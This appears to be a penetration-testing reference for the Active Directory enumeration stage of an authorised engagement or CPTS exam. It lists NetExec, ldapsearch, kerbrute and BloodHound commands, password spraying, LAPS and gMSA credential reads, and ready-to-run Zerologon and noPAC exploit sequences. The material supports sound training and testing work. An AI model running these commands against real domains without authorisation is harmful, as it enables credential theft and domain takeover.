FLOW ^: Pentest Workflow

Stage 04 — Active Directory Enumeration

CPTS attack-flow reference for stage 04 — active directory enumeration in an authorised engagement.

intermediate updated 2026-08-29 BloodHound · ldapsearch · NetExec · PowerView

[!dashboard] Attack-flow navigation Dashboard: HTB Pentest Attack Flow

Section: 07 of 17 · Focus: Stage 04 — Active Directory Enumeration

Previous: Stage 03 — Service Enumeration · Next: Stage 05 — Kerberos Attacks


🏰 STAGE 4 — Active Directory Enumeration

Once Stage 1 shows 88 / 389 / 445 / 636 / 3268 open I know I’m on a DC. The whole game here: turn “I can reach the DC” into a username list → any valid cred → a full LDAP dump → a BloodHound graph with an edge to Domain Admin. That’s the order I actually work it, creds or no creds.

Two habits keep this stage from collapsing into noise: (1) every command output that proves something gets saved to loot/ with a timestamp — the enumeration log becomes the report evidence in Stage 11; (2) every identity found goes into a running creds table (user / source / where valid / privs) — that table is the spray list, the BloodHound owned-set, and the lateral-movement menu all at once.

[!note] Setup assumed Vars from the setup block: $IP $DOMAIN $DC $LHOST $U $P. Before any Kerberos-based tool touches the box, fix /etc/hosts, /etc/krb5.conf and clock skew or everything dies silently — full kit in AD_Pentest_Tools_Cheat_Sheet. For a two-label domain I derive the base DN inline: DC=${DOMAIN%%.*},DC=${DOMAIN##*.} (e.g. domain.htbDC=domain,DC=htb).


🧭 Methodology order — the only sequence that matters

AD enumeration is state-driven, not tool-driven. I move down this ladder and loop back up the moment my access level changes:

AD enumeration loopTD
No credsnull/guest SMB, anon LDAP, RID brute Username listkerbrute userenum + RID cycle + email patterns AS-REP roast (no creds needed)+ ONE careful password spray Any valid credvalidate on smb/ldap/winrm/winrm everywhere Credentialed LDAP vacuumusers, groups, SPNs, policy, descriptions BloodHound collectionmark owned, path to DA New cred / new edge? Pick an edgeroast / ACL abuse / LAPS / gMSA / CVE one-shot Stage 5 Kerberos · Stage 6 ACL · Stage 7 ADCS yes no
StepStateGoalPrimary tools
1No credsNaming context, password policy, user listNetExec, ldapsearch, enum4linux-ng, kerbrute
2User listValid usernames without lockoutskerbrute userenum, RID brute
3User list → cred bridgeMint first cred with zero lockout riskGetNPUsers.py (AS-REP), one spray under threshold
4One valid credConfirm validity + reachnxc smb/ldap/winrm validation
5CredentialedFull directory dumpnxc ldap, ldapdomaindump, PowerView
6CredentialedGraph + attack pathBloodHound CE + SharpHound
7LoopEvery new identity = re-run 4–6 as that identityall of the above

[!tip] CPTS exam rhythm The exam expects this exact loop: unauth enum → user list → AS-REP or spray → credentialed enum → BloodHound → edge → new principal → re-enumerate as the new principal. Skipping the re-enum step is the #1 reason people stall — a new user often has readable shares, ReadLAPS rights, or ACL edges the first user never had.

[!abstract]- MITRE ATT&CK map for this stage

TechniqueWhere in this note
T1087.001/.002 — Account Discovery (local/domain)4.1 RID brute, 4.3 --users, PowerView
T1069.001/.002 — Permission Groups Discovery4.3 --groups, net group /domain
T1201 — Password Policy Discovery4.1 --pass-pol, net accounts /domain
T1135 — Network Share Discovery4.3 --shares, Snaffler section
T1482 — Domain Trust DiscoveryLDAP cookbook, Get-DomainTrustMapping
T1558.004 — AS-REP Roasting4.1 kerbrute --hash-file, Stage 5
T1110.003 — Password Sprayingspray loop, Stage 08
T1033 — System Owner/User Discoverysession enum (--sessions, PsLoggedOn)

| T1558.003 — Kerberoasting | 4.3 --kerberoasting (exploit in Stage 05) | | T1212 — Exploitation for Credential Access (LAPS/gMSA reads) | LAPS & gMSA section |


4.1 Unauthenticated — no creds yet

What to look for: anonymous/guest SMB + LDAP, a valid username list, RID-cycled names, AS-REP-roastable accounts, the domain naming context.

Enumerate

# Null / guest SMB — this is the nxc "enum4linux replacement" combo
nxc smb $IP -u '' -p '' --shares
nxc smb $IP -u '' -p '' --users
nxc smb $IP -u 'guest' -p '' --shares            # guest fallback when null is blocked
nxc smb $IP -u '' -p '' --pass-pol               # READ THIS before any spray
nxc smb $IP -u '' -p '' --rid-brute              # cycle RIDs 500+ into names

# enum4linux-ng — the classic one-shot (users/groups/shares/policy, JSON+YAML out)
enum4linux-ng -A $IP -oA recon/enum4linux
enum4linux-ng -U $IP        # users only
enum4linux-ng -P $IP        # password policy only

# Anonymous LDAP — grab the base DN, then blind-dump if binds are allowed
ldapsearch -x -H ldap://$DC -b "" -s base namingContexts
ldapsearch -x -H ldap://$DC -b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" "(objectClass=*)" > ldap_anon.txt

# Kerbrute — validate usernames off port 88, NO lockout risk
kerbrute userenum -d $DOMAIN --dc $DC \
  -o valid_users.txt --hash-file asrep.txt -v \
  /usr/share/seclists/Usernames/statistically-likely-usernames/jsmith.txt

[!tools] Stage this — kerbrute (both platforms staged in vault) kerbrute_linux_amd64 (SHA-256 · GPG signature) kerbrute_windows_amd64.exe (SHA-256 · GPG signature) Canonical source: ropnop/kerbrute. Wordlists from SecLists (statistically-likely-usernames, xato-net-10-million-usernames) or generate from employee names with username-anarchy / linkedin2username — see Stage 00.

Exploit / pivot from unauth

# RID brute → clean userlist for kerbrute / spraying
nxc smb $IP -u '' -p '' --rid-brute | grep -i SidTypeUser | awk -F'\\' '{print $2}' | awk '{print $1}' > users.txt

# Feed a confirmed list back into kerbrute (still no lockout on userenum)
kerbrute userenum -d $DOMAIN --dc $DC -o valid_users.txt users.txt

# kerbrute --hash-file may already have captured AS-REP hashes (pre-auth disabled)
# asrep.txt → hashcat -m 18200 ; roasting/cracking lives in Stage 5, see Hashcat-Cheatsheet

# Pre-Windows 2000 compatible check: machine account = lowercase name minus '$' as password
nxc ldap $DC -u '' -p '' -M pre2k                              # unauth discovery of pre2k computers
# then try each as user=COMPUTERNAME (lowercase, no $), password=same

[!tip] pre2k — the quietest first cred When a computer account is created with the “Assign this computer account as a pre-Windows 2000 computer” box ticked, its password is set to the computer name in lowercase, truncated to 14 chars, without the trailing $ — and the account is often left disabled-but-guessable. nxc ldap -M pre2k lists candidates; verify with nxc smb $IP -u <name> -p <name>. It’s a valid domain cred from nothing, which unlocks all of 4.3. Detection: Event 4741/4742 on computer creation, plus KDC 4768 failures with the $-less sAMAccountName pattern.

The Pre-Windows 2000 Compatible Access group is the other side of the same coin: if Everyone / Anonymous Logon / Authenticated Users were ever dropped into the built-in Pre-Windows 2000 Compatible Access group, anonymous binds can read most user/group attributes — that’s why ldapsearch anon dumps and --rid-brute sometimes work. Check what survives:

# does anon read work at all? (rootDSE works even when it doesn't)
ldapsearch -x -H ldap://$DC -b "" -s base namingContexts defaultNamingContext
# enum4linux-ng -A output flags it as "Users via anonymous" when the group is permissive
enum4linux-ng -A $IP | grep -i -A3 'pre-windows\|anonymous'

[!warning] Watch out

  • kerbrute needs the clock within 5 min of the KDC — clock skew too greatsudo ntpdate $IP. Always pass --dc $DC so it never falls back to DNS.
  • userenum does not lock accounts; passwordspray / bruteuser do — pull --pass-pol first and always add --safe.
  • The subcommand is kerbrute userenum, not kerbrute user (that errors).
  • --rid-brute / anonymous LDAP only work if the DC allows null binds (Pre-Windows 2000 Compatible Access). No output ≠ empty domain.
  • Kerbrute validation is loud in aggregate: every check is an AS-REQ → Event 4768 per username. A 10k-name list is 10k 4768s; use --threads modestly and prefer a curated list (statistically-likely-usernames) over bulk dictionary.

4.2 Got a cred — validate it everywhere first

What to look for: where the cred is valid, and whether it’s already local admin (Pwn3d!).

Enumerate

# Validate on every protocol — [+] valid, [-] invalid, Pwn3d! = local admin
nxc smb   $IP -u "$U" -p "$P"
nxc ldap  $DC -u "$U" -p "$P"
nxc winrm $DC -u "$U" -p "$P"          # Pwn3d! here = evil-winrm shell, Stage 6
nxc mssql $DC -u "$U" -p "$P"          # svc accounts often hit MSSQL too
nxc rdp   $DC -u "$U" -p "$P"          # RDP reach (screenshot-friendly check)
# Pass-the-hash instead of a password:
nxc smb   $IP -u "$U" -H "$HASH"

[!warning] Watch out STATUS_LOGON_FAILURE with a cred you know is good = usually a domain problem, not a bad password. Add -d $DOMAIN, target the FQDN $DC, or --local-auth for a SAM account. Kerberos failures → FQDN target + fixed DNS/clock.

[!success] The doctrine: new creds = rerun everything as that identity Every validated credential is a new enumeration context, not a trophy. The moment a spray hit or crack lands:

  1. nxc smb/ldap/winrm validate the new identity everywhere (4.2).
  2. Re-vacuum LDAP as that user (4.3) — new description/info/share access often appears.
  3. Re-run BloodHound as that identity (4.5) and mark it Owned — its group memberships and ACL edges may open a path the previous user never had.
  4. Retry LAPS/gMSA reads and the share sweep. This loop is the methodology; the HTB/CPTS boxes are built so the 2nd or 3rd identity holds the winning edge.

4.3 Credentialed enumeration — vacuum SMB + LDAP with nxc

What to look for: full user/group/computer lists, share access, password policy, low-hanging AD misconfigs (adminCount, delegation, no-preauth).

Enumerate

# SMB side — shares, users, groups, sessions
nxc smb $IP -u "$U" -p "$P" --shares --users --groups --pass-pol
nxc smb $IP -u "$U" -p "$P" --loggedon-users --sessions
nxc smb $IP -u "$U" -p "$P" --users --users-export users.txt   # dump list to file

# LDAP side — the richer view (this is where the AD gold is)
nxc ldap $DC -u "$U" -p "$P" --users
nxc ldap $DC -u "$U" -p "$P" --groups
nxc ldap $DC -u "$U" -p "$P" --computers
nxc ldap $DC -u "$U" -p "$P" --pass-pol
nxc ldap $DC -u "$U" -p "$P" --admin-count               # adminCount=1 → high value
nxc ldap $DC -u "$U" -p "$P" --password-not-required
nxc ldap $DC -u "$U" -p "$P" --trusted-for-delegation
nxc ldap $DC -u "$U" -p "$P" --find-delegation
nxc ldap $DC -u "$U" -p "$P" --get-sid

# Roast discovery straight from LDAP (crack/exploit in Stage 5)
nxc ldap $DC -u "$U" -p "$P" --asreproast asrep.txt
nxc ldap $DC -u "$U" -p "$P" --kerberoasting kerberoast.txt

# Descriptions/user-desc modules — passwords hide in these fields constantly
nxc ldap $DC -u "$U" -p "$P" -M user-desc
nxc ldap $DC -u "$U" -p "$P" -M get-desc-users

nxc LDAP flag table — what each flag actually answers:

FlagQuestion answeredFollow-up
--users / --users-exportWho exists? (build the spray list)prune by badPwdCount before spraying
--groupsGroup memberships, privileged groupshunt nested Domain Admins members
--computersHosts + OS versions in the domainold OS = soft privesc targets (Stage 9)
--pass-polLockout threshold/window, complexitysets the spray rate math
--admin-countadminCount=1 objects (SDProp-protected)high-value targets for roast/ACL abuse
--password-not-requiredPASSWD_NOTREQD accountstry blank passwords; classic misconfig
--trusted-for-delegationUnconstrained delegation hostscoerce a DC to it → Stage 5
--find-delegationAll delegation (unconstrained/constrained/RBCD)Stage 5 delegation attacks
--asreproast <file>DONT_REQ_PREAUTH accounts + AS-REP hasheshashcat -m 18200, Stage 05
--kerberoasting <file>SPN accounts + TGS hasheshashcat -m 13100, Stage 05
--gmsaReadable gMSA passwords → NT hashesspend ReadGMSAPassword edges
-M lapsReadable LAPS passwordslocal admin on those hosts
-M pre2kPre-Windows 2000 computer accountspassword = lowercase name
-M user-desc / -M get-desc-usersPasswords in description fieldsfree creds, always run
-M maqMachineAccountQuota (can I add a computer?)RBCD prerequisite, Stage 5/6
-M adcsADCS enrollment servers/templateshands off to Stage 07
--bloodhound --collection AllIn-line SharpHound-equivalent collection4.5 ingest
--get-sidDomain SIDneeded for ticket forgery, Stage 5

[!tip] Password spray from a known-valid base Once one cred works, spray it (or one seasonal password) across the whole userlist — but respect the lockout policy you already pulled:

nxc smb $IP -u users.txt -p 'Welcome2024!' --continue-on-success --no-bruteforce --jitter 2

4.4 LDAP tooling — ldapsearch, ldapdomaindump, ldeep, windapsearch, bloodyAD

The LDAP tools I reach for, in order of surgical → automated:

ldapsearch — surgical, one filter at a time. Modern syntax: -H ldap:// (never -h), -x simple bind, -LLL for clean output.

# Base recon + auth test
ldapsearch -x -H ldap://$DC -b "" -s base namingContexts
ldapsearch -LLL -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" -b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}"

# All users with the fields that leak creds — check info AND description
ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" \
  -b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" \
  "(objectClass=user)" sAMAccountName mail userAccountControl description info memberOf

# Hunt passwords in the info field (this WAS the creds on Support)
ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" \
  -b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" "(info=*)" info cn sAMAccountName

# Kerberoastable (has SPN)
ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" \
  -b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" \
  "(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName

# AS-REP roastable (DONT_REQ_PREAUTH bit)
ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" \
  -b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" \
  "(userAccountControl:1.2.840.113556.1.4.803:=4194304)" sAMAccountName

# Accounts with constrained delegation configured
ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" \
  -b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" \
  "(msDS-AllowedToDelegateTo=*)" sAMAccountName msDS-AllowedToDelegateTo

# Domain Controllers only
ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" \
  -b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" \
  "(userAccountControl:1.2.840.113556.1.4.803:=8192)" cn dNSHostName

ldapsearch query cookbook — the “what do I want” → filter table (base B="DC=${DOMAIN%%.*},DC=${DOMAIN##*.}", auth -D "$U@$DOMAIN" -w "$P"):

I want…FilterAttributes to pull
All users(objectClass=user)sAMAccountName mail description info memberOf
Domain/Enterprise Admins(memberOf:1.2.840.113556.1.4.1941:=CN=Domain Admins,CN=Users,$B)sAMAccountName
SPN (kerberoastable) users(&(objectClass=user)(servicePrincipalName=*)(!(objectClass=computer)))sAMAccountName servicePrincipalName
AS-REP roastable(userAccountControl:1.2.840.113556.1.4.803:=4194304)sAMAccountName
All computers(objectClass=computer)cn dNSHostName operatingSystem operatingSystemVersion
Computers by OS (e.g. 2012)(&(objectClass=computer)(operatingSystem=*2012*))cn operatingSystem
GPOs(objectClass=groupPolicyContainer)displayName gPCFileSysPath
OUs(objectClass=organizationalUnit)ou distinguishedName gPLink
Domain trusts(objectClass=trustedDomain)name trustDirection trustAttributes
Password policy (domain root)-s base -b "$B" "(objectClass=domain)"minPwdLength lockoutThreshold lockOutObservationWindow maxPwdAge
Descriptions with creds(&(objectCategory=user)(description=*))sAMAccountName description
Mail attributes(&(objectClass=user)(mail=*))sAMAccountName mail
Never-expiring passwords(userAccountControl:1.2.840.113556.1.4.803:=65536)sAMAccountName
Disabled accounts(userAccountControl:1.2.840.113556.1.4.803:=2)sAMAccountName
MachineAccountQuota-s base -b "$B" "(objectClass=domain)"ms-DS-MachineAccountQuota
LAPS-readable hosts(ms-Mcs-AdmPwd=*)cn ms-Mcs-AdmPwd
ACLs on a specific objectbase = object DN, -s base "(objectClass=*)"nTSecurityDescriptor (SDDL — parse with bloodyAD/StandIn)

ldapdomaindump — the whole domain to HTML+JSON in one shot. Best “just give me everything greppable” tool: dirkjanm/ldapdomaindump.

ldapdomaindump -u "$DOMAIN\\$U" -p "$P" $DC -o ldapdump      # or use $IP if DNS is flaky
# then hunt creds + privileged users in the JSON
grep -i "info\|description" ldapdump/domain_users.json | grep -v '""'
jq '.[] | select(.info != "") | {name:.name, info:.info}' ldapdump/domain_users.json
jq -r '.[].name' ldapdump/domain_users.json > users.txt
# browse the tables: cd ldapdump && python3 -m http.server 8000

ldeep — ldapdomaindump’s modern rival (franc-pentest/ldeep): same full-dump idea but with per-topic verbs, Kerberos/ccache auth, and JSON output that pipes cleanly:

ldeep ldap -u "$U" -p "$P" -d $DOMAIN -s ldap://$DC all ldeep_out/    # everything
ldeep ldap -u "$U" -p "$P" -d $DOMAIN -s ldap://$DC users -v          # verbose users
ldeep ldap -u "$U" -p "$P" -d $DOMAIN -s ldap://$DC delegations       # all delegation types
ldeep ldap -u "$U" -p "$P" -d $DOMAIN -s ldap://$DC gmsa              # readable gMSAs
ldeep ldap -u "$U" -p "$P" -d $DOMAIN -s ldap://$DC trusts
ldeep ldap -u "$U" -k -d $DOMAIN -s ldaps://$DC all out/              # ccache auth via KRB5CCNAME

windapsearch — canned queries as flags (ropnop/windapsearch) when I don’t want to write filter syntax:

windapsearch -d $DOMAIN --dc $DC -u "$U" -p "$P" --da                        # Domain Admins
windapsearch -d $DOMAIN --dc $DC -u "$U" -p "$P" --computers
windapsearch -d $DOMAIN --dc $DC -u "$U" -p "$P" --unconstrained-delegation

bloodyAD — read what my cred can actually touch (CravateRouge/bloodyAD) (and later, weaponize it):

# What objects is THIS principal allowed to write? (fastest ACL-edge finder from CLI)
bloodyAD -d $DOMAIN -u "$U" -p "$P" --host $DC get writable
# bloodyAD also does the write side (reset pw, add to group, set RBCD, disable preauth) — Stage 5/6

adidnsdump — the hidden host list (dirkjanm/adidnsdump): AD-integrated DNS keeps the zone in LDAP, so any domain user can dump every DNS record — a complete internal host inventory (including hosts that don’t respond to ping) with zero scanning traffic:

adidnsdump -u "$DOMAIN\\$U" -p "$P" $DC --dns-tcp
# records.csv → every A/AAAA/CNAME; grep for *-dc*, *sql*, *web* to build the target map

[!tip] “Which LDAP tool?” (exam recall) ldapsearch = precise single filters · ldapdomaindump = full HTML/JSON dump for grepping · ldeep = modern dump with verbs + Kerberos auth · windapsearch = queries-as-flags · nxc ldap = fast enum + roast/bloodhound · bloodyAD get writable = what your cred can modify. Anonymous namingContexts probe comes before all of them. Port discovery back in Stage 1 was rustscan -a $IP --ulimit 5000 -- -sC -sV then nmap AD scripts.

[!warning] Watch out

  • info and description fields hold plaintext passwords far more often than they should — always dump both.
  • Quote passwords in single quotes; ldapdomaindump wants a double backslash in DOMAIN\\user.
  • LDAPS (636) sometimes binds where plain LDAP is restricted: ldapsearch -H ldaps://$DC:636 ... / ldapdomaindump ... -l ldaps://$DC:636.
  • Simple binds (-x -w) send the password in cleartext over plain LDAP — on a real engagement that’s both a credential-exposure issue and an easy NDR detection. Prefer -k/Kerberos or ldaps:// where possible.

4.5 The payoff — BloodHound → pick an edge

This is why I enumerate at all: dump the graph, mark what I own, let it show me the path to DA. Collect the moment I have any cred, even low-priv. Current platform: BloodHound CE (SpecterOps). Legacy BloodHound 4.x is end-of-life but still lurks in older lab images.

[!tools] Stage this — SharpHound collector (exe + ps1 in one zip) SharpHound.zip (SHA-256 · GPG signature) Canonical source: SpecterOps/SharpHound. Linux collectors: bloodhound-ce-python (CE-schema) and RustHound-CE (fast Rust collector, CE-compatible). Collector schema must match the ingestor — check the table below.

Legacy vs CE — the compatibility trap:

Legacy BloodHound 4.xBloodHound CE
Linux collectorbloodhound-python (old BloodHound.py branch)bloodhound-ce-python or RustHound-CE
Windows collectorSharpHound 1.xSharpHound 2.x (shipped in the vault zip)
JSON schemalegacy v4CE/opengraph — not interchangeable
BackendNeo4j desktop appPostgres + API + web UI (docker)
Ingestdrag-drop zip into GUIAdministration → File Ingest
Cypherlegacy property names (highvalue, hasspn…)renamed properties; use CE Query Library first

[!danger] Wrong-schema ingestion fails silently — files “upload OK” but produce an empty or mis-parsed graph. If the graph is weird after ingest, schema mismatch is the first suspect, before DNS.

Collect (Linux, remote)

# BloodHound CE (current) — CE-schema JSON. -ns MUST be the DC IP or the graph comes back empty
bloodhound-ce-python -d $DOMAIN -u "$U" -p "$P" -dc $DC -ns $IP -c All --zip

# RustHound-CE — faster on big domains, same CE schema
rusthound-ce -d $DOMAIN -u "$U" -p "$P" -f $DC -i $IP -c All --zip

# Legacy BloodHound (older labs only — DIFFERENT json schema, not interchangeable)
bloodhound-python -c all -u "$U" -p "$P" -d $DOMAIN -ns $IP --zip

# Pass-the-hash / Kerberos variants
bloodhound-ce-python -d $DOMAIN -u "$U" --hashes :$HASH -ns $IP -c All --zip
export KRB5CCNAME=$(pwd)/$U.ccache
bloodhound-ce-python -d $DOMAIN -u "$U" -k -no-pass -dc $DC -ns $IP -c All --zip

# Stealth first pass — pure LDAP, no SMB/host touches
bloodhound-ce-python -d $DOMAIN -u "$U" -p "$P" -ns $IP -c DCOnly --zip

# Or let nxc do collection + zip in one line
nxc ldap $DC -u "$U" -p "$P" --bloodhound --collection All --dns-server $IP

Collect (from a Windows foothold — SharpHound) when I already have a shell / need session data:

.\SharpHound.exe -c All -d $DOMAIN --DomainController $IP --ZipFileName loot.zip
.\SharpHound.exe -c DCOnly            # quiet, LDAP-only
.\SharpHound.exe -c Session --Loop --Loopduration 02:00:00 --LoopInterval 00:10:00   # session hunting

Collection flag picker:

Flag / methodGets youCost
-c All / --collection AllEverything: groups, sessions, local admins, ACLs, trustsLoud — touches every host over SMB/RPC
-c DCOnlyUsers, groups, ACLs, trusts, GPOs — LDAP to the DC onlyQuiet; no session/local-admin edges
-c Session (+--Loop)Logged-on sessions (the lateral-movement edges)Medium; needs rights on targets
-c LoggedOnPrivileged sessions only (needs local admin)Louder, higher value
--zipCompress output for exfil/ingestAlways on for remote collectors
-c All --stealth (SharpHound)Slower, single-threaded, avoids some signaturesTime

Ingest → analyze: BHCE web UI → Administration → File Ingest → Upload, drop the zip. Mark every principal I own as Owned so pathfinding stays relevant, then run the built-ins + this CE cypher starter set:

/* Shortest path to Domain Admins from anything I own */
MATCH p=shortestPath((o {owned:true})-[*1..]->(g:Group))
WHERE g.objectid ENDS WITH '-512'
RETURN p LIMIT 25

/* Kerberoastable / AS-REP roastable (verify property names against your CE dataset) */
MATCH (u:User {hasspn:true}) RETURN u.name, u.serviceprincipalnames
MATCH (u:User {dontreqpreauth:true}) RETURN u.name

/* ACL abuse edges I care about */
MATCH p=(u)-[r:GenericWrite]->(t) RETURN p
MATCH p=(u)-[r:ReadGMSAPassword]->(g) RETURN p
MATCH p=(u)-[r:AllowedToDelegate]->(c) RETURN p

/* Where Domain Users are local admin, and unconstrained delegation boxes */
MATCH p=(g:Group)-[:AdminTo]->(c:Computer) WHERE g.name STARTS WITH 'DOMAIN USERS@' RETURN p
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name

CE cypher starter table — copy/paste per question:

QuestionCypher
Shortest paths to DA from ownedMATCH p=shortestPath((o {owned:true})-[*1..]->(g:Group)) WHERE g.objectid ENDS WITH '-512' RETURN p
Kerberoastable usersMATCH (u:User {hasspn:true}) RETURN u.name
AS-REP roastable usersMATCH (u:User {dontreqpreauth:true}) RETURN u.name
Unconstrained delegationMATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
All owned principalsMATCH (n {owned:true}) RETURN n.name, labels(n)
Sessions (who’s logged on where)MATCH p=(u:User)-[:HasSession]->(c:Computer) RETURN p
Outbound ACL edges from my userMATCH p=(u:User {name:'$U@$DOMAIN'})-[r]->(t) RETURN p
DCSync-capable principalsMATCH p=(n)-[:DCSync]->(d:Domain) RETURN p

Run-first checklist: shortest path to DA from owned → Kerberoastable/AS-REP → delegation (unconstrained + constrained) → DCSync/dangerous ACL rights → ADCS escalation (CE) → sessions on high-value hosts. Each surviving edge hands off to Stage 5: roast with Rubeus-Cheatsheet / Impacket-Cheatsheet, ACL abuse with bloodyAD, ADCS with Certipy-ADCS-Cheatsheet, validate local admin with nxc.

[!warning] Watch out

  • Empty graph = DNS, not auth. Set -ns $IP (the DC), add --dns-tcp, and make sure -d is the FQDN.
  • CE vs legacy are NOT interchangeablebloodhound-ce-python → BloodHound CE; bloodhound-python → legacy. Wrong schema mis-parses silently. SharpHound build must match your CE version too.
  • DCOnly gives no session edges — you need -c All/Session (and rights) for lateral-movement pathing.
  • Legacy blog Cypher often returns 0 on CE (property/label renames) — prefer the CE Query Library and validate property names on a node.
  • Kerberos collection under clock skew fails — wrap with faketime (faketime-cheatsheet) or sync to the DC.

💥 DC One-Shot CVE Checkpoint

What to look for → before grinding ACLs, spend 30 seconds checking whether the DC is vulnerable to an instant-DA CVE. Two are worth a reflexive check on every unpatched-looking DC.

Check + exploit

# Zerologon (CVE-2020-1472) — unauth, sets DC$ password to empty
nxc smb $DC -u '' -p '' -M zerologon                        # SAFE check
python3 cve-2020-1472-exploit.py ${DC%%.*} $IP              # sets DC$ pw empty (DESTRUCTIVE)
secretsdump.py -just-dc-user krbtgt "$DOMAIN"/"${DC%%.*}\$"@$DC -hashes :31d6cfe0d16ae931b73c59d7e0c089c0
python3 restorepassword.py "$DOMAIN"/"${DC%%.*}"@$DC -target-ip $IP   # RESTORE — mandatory

# noPAC / Sam-the-Admin (CVE-2021-42278/42287) — any domain user → DA
nxc smb $DC -u "$U" -p "$P" -M nopac                        # check
python3 noPac.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -dc-host ${DC%%.*} -shell --impersonate Administrator -use-ldap

[!warning] Watch out — Zerologon BREAKS the DC Emptying the DC$ machine password kills AD replication, trusts and SYSVOL until you restore it. Dump krbtgt (the 31d6… hash is the empty-password NT hash), then immediately run restorepassword.py — don’t leave a lab (or exam range) broken. noPAC needs MachineAccountQuota > 0. Deep dives: 🔵 Attack · 🔵 Attack. Full noPAC/sAMAccountName-spoof flow lives in Stage 05.


🔐 Credential-Bearing Attributes — LAPS & gMSA

What to look for → two AD attributes that hand you a password if your user has the read ACL (BloodHound draws these as ReadLAPSPassword and ReadGMSAPassword edges). Always test both as every new user — a low-priv account with the right read = instant local admin or a DA-equivalent service hash.

LAPS — local admin password in cleartext

nxc ldap $DC -u "$U" -p "$P" --module laps               # dump every readable LAPS pw
nxc smb  $DC -u "$U" -p "$P" --laps                       # same via SMB
ldapsearch -x -H ldap://$IP -D "$U@$DOMAIN" -w "$P" -b "dc=${DOMAIN%%.*},dc=${DOMAIN#*.}" \
  '(ms-Mcs-AdmPwd=*)' ms-Mcs-AdmPwd                       # raw LDAP (LAPS v1 attr)

Dedicated dumpers: LAPSToolkit (PowerShell, includes Get-LAPSComputers + Find-LAPSDelegatedGroups to see who can read LAPS), pyLAPS (Python, remote), SharpLAPS (C#, on-host). Discovery of the delegation (who holds read) matters as much as the read itself — target those principals in Stage 6.

Import-Module .\LAPSToolkit.ps1
Get-LAPSComputers                        # hosts with LAPS + passwords my token can read
Find-LAPSDelegatedGroups                 # who has been DELEGATED read rights (targets!)

gMSA — service account NT hash (spends the ReadGMSAPassword edge)

nxc ldap $DC -u "$U" -p "$P" --gmsa                       # prints the NTLM of readable gMSAs
python3 gMSADumper.py -u "$U" -p "$P" -d "$DOMAIN" -l $DC  # standalone — github.com/micahvandeusen/gMSADumper
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host $DC get object 'svc_gmsa$' --attr msDS-ManagedPassword
ldeep ldap -u "$U" -p "$P" -d $DOMAIN -s ldap://$DC gmsa

gMSADumper is the one-shot: any cred → tries to read every gMSA’s msDS-ManagedPassword blob and prints NTLM hashes ready for PtH.

[!tip] Where these lead LAPS pw → local admin on that host → PtH/loot it in STAGE 10. gMSA hash → if the gMSA is DA-equivalent or has DCSync (check BloodHound), it is the domain — this is the Fluffy/Intelligence-class path. Deep dives: 🔷 Attack · 🔷 Attack.


📂 Shares & file-content hunting — Snaffler

What to look for: readable shares first, then files inside shares that contain credentials — unattend.xml, web.config, scripts with embedded passwords, KeePass databases, passwords.xlsx. Share loot bridges Stage 4 → Stage 8: a single found cred restarts the whole loop.

Enumerate shares, then hunt content:

# Map readable shares as the current identity
nxc smb $IP -u "$U" -p "$P" --shares
nxc smb $IP -u "$U" -p "$P" -M spider_plus                 # auto-crawl + JSON inventory per share
smbmap -H $IP -u "$U" -p "$P" -d "$DOMAIN" -R              # recursive listing (github.com/ShawnDEvans/smbmap)

# spider_plus output → triage the inventory before pulling files
jq -r 'to_entries[] | .key as $share | .value | keys[] | "\($share)/\(.)"' \
  ~/.nxc/modules/spider_plus/*.json | grep -Ei 'unattend|\.kdbx|config|\.ps1|passw|cred'

[!tools] Stage this — Snaffler (the AD-aware share credential hunter) Snaffler.exe (SHA-256 · GPG signature) Canonical source: SnaffCon/Snaffler. Unlike a dumb spider, Snaffler enumerates the domain for computer targets itself, then classifies file contents by credential-likelihood rules. Run from a domain-joined foothold. Cross-ref: full workflow in Stage 08 — Credential Hunting.

.\Snaffler.exe -s -o snaffler.log                      # default: domain computers, content rules on
.\Snaffler.exe -s -i C:\loot -o snaffler.log           # restrict to a share tree I already mounted
.\Snaffler.exe --help                                  # rule tuning: -m maxSizeGrep, -z interest levels

[!warning] Watch out Snaffler reads a lot of files over SMB — heavy network + EDR-visible. Scope with -i/computer targeting on real engagements. Shares enumerated by any domain user are also exactly what modern Deception tools (honey shares) bait with: an irresistible \\SRV\IT\passwords.kdbx on an otherwise-empty server is a tell — verify the host looks real before pulling.


👥 Session & logon enumeration — where are the admins right now?

What to look for: which high-value accounts (Domain Admins, helpdesk, service accounts) have live sessions on hosts I can reach — because a session = a stealable token/cred in LSASS once I’m local admin there. This feeds BloodHound’s HasSession edges and Stage 10 lateral movement.

# Remote session enum as a low-priv user (NetSessionEnum — often allowed)
nxc smb $IP -u "$U" -p "$P" --sessions
nxc smb $IP -u "$U" -p "$P" --loggedon-users           # needs more rights (SAMR)

# Sweep a subnet for sessions to build the lateral map
nxc smb 10.10.10.0/24 -u "$U" -p "$P" --sessions | grep -B1 -i 'admin\|svc_'
# The classic: PsLoggedOn (Sysinternals) — local + remote logged-on users
.\PsLoggedOn.exe \\TARGET
# BloodHound's -c Session collection automates exactly this at scale (4.5)

[!note] PsLoggedOn concept → BloodHound PsLoggedOn/net session/--sessions are the manual version of what SharpHound -c Session does domain-wide. On a single box the manual check is quieter; at scale let the collector do it. Pair with qwinsta/quser on hosts where I already have a shell. Detection: NetSessionEnum bursts across many hosts is a known hunting signature (SharpHound “session enum” rules) — another reason DCOnly first, sessions later.

